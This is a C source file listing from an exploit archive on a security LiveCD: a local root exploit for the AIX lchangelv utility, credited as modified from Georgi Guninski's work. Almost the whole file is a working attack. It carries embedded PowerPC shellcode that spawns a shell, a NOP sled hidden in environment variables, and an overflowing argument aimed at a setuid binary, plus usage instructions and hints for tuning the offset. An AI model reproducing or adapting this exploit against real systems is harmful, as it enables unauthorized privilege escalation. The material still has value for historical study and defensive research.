home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / aixlchangelv.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  97 lines

  1.     /*
  2.      *
  3.      *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V
  4.      *
  5.      *   CREDITS: this is simply a modified version of an exploit
  6.      *   posted by Georgi Guninski (guninski@hotmail.com)
  7.      *
  8.      *   NOTES: you must have gid or egid of (system) to run this.
  9.      *
  10.      *   USAGE:
  11.      *            $ cc -o foo -g aix_lchangelv.c
  12.      *            $ ./foo 5100
  13.      *            #
  14.      *
  15.      *
  16.      *   HINT: Try giving ranges from 5090 through 5500
  17.      *
  18.      *   DISCLAIMER: use this program in a responsible manner.
  19.      *
  20.      */
  21.  
  22.     #include <stdio.h>
  23.     #include <stdlib.h>
  24.     #include <string.h>
  25.     #include <unistd.h>
  26.  
  27.     extern int execv();
  28.  
  29.     #define MAXBUF 600
  30.  
  31.     unsigned int code[]={
  32.             0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  33.             0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  34.             0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  35.             0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  36.             0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  37.             0x7c0903a6 , 0x4e800420, 0x0
  38.     };
  39.  
  40.     char *createvar(char *name,char *value)
  41.     {
  42.             char *c;
  43.             int l;
  44.  
  45.             l=strlen(name)+strlen(value)+4;
  46.             if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  47.             strcpy(c,name);
  48.             strcat(c,"=");
  49.             strcat(c,value);
  50.             putenv(c);
  51.             return c;
  52.     }
  53.  
  54.     main(int argc,char **argv,char **env)
  55.     {
  56.             unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  57.             int min=100, max=280;
  58.             unsigned int return_address;
  59.             char *newenv[8];
  60.             char *args[4];
  61.             int offset=3200;
  62.  
  63.             if (argc==2) offset = atoi(argv[1]);
  64.  
  65.             pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
  66.  
  67.             *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  68.             *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000f
  69. fff);
  70.             *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  71.             *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000
  72. ffff);
  73.  
  74.             return_address=(unsigned)&buf[0]+offset;
  75.  
  76.             for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  77.             strcpy((char*)&buf[nop],(char*)&code);
  78.             i=nop+strlen( (char*) &code)/4-1;
  79.  
  80.             for(i=0;i<max-1;i++) frame[i]=return_address;
  81.             frame[i]=0;
  82.  
  83.             newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  84.             newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  85.             newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  86.             newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  87.             newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  88.             newenv[5]=NULL;
  89.  
  90.             args[0]="lchangelv";
  91.             args[1]="-l";
  92.             args[2]=(char*)&frame[0];
  93.             execve("/usr/sbin/lchangelv",args,newenv);
  94.             perror("Error executing execve \n");
  95. }
  96.  
  97.